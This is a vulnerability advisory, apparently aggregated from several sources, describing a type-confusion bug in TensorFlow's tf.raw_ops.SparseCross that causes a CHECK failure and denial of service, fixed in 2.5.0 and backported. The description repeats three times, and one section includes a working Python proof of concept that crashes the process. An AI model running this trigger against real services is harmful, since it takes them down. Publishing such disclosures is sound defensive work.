Affected: Bitnami: tensorflow

TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

Affected: PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu

### Impact The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:

```python import tensorflow as tf

hashed_output = False num_buckets = 1949315406 hash_key = 1869835877 out_type = tf.string internal_type = tf.string

indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64) indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64) indices = [indices_1, indices_2]

values_1 = tf.constant([0], dtype=tf.int64) values_2 = tf.constant([72], dtype=tf.int64) values = [values_1, values_2]

batch_size = 4 shape_1 = tf.constant([4, 122], dtype=tf.int64) shape_2 = tf.constant([4, 188], dtype=tf.int64) shapes = [shape_1, shape_2]

dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64) dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64) dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64) denses = [dense_1, dense_2, dense_3]

tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output, num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type) ```

The above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):

```cc void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const { CHECK_EQ(dtype(), expecte…

Affected: PyPI: tensorflow

TensorFlow is an end-to-end open source platform for machine learning. The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements. Fixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.